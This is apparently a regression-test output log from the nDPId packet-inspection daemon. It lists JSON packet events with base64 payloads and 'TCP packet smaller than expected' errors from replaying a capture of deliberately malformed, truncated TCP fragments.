-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779441} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779451} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779464} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779484} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779494} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779506} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779516} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":6528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779526} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779535} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779545} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779554} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779573} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779582} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779592} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779602} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779612} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779621} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779636} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779645} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779659} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779680} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779690} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779718} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779727} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779737} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779746} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779756} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779766} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779776} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779785} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779800} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779812} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779824} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779835} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779848} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779857} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779866} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779887} 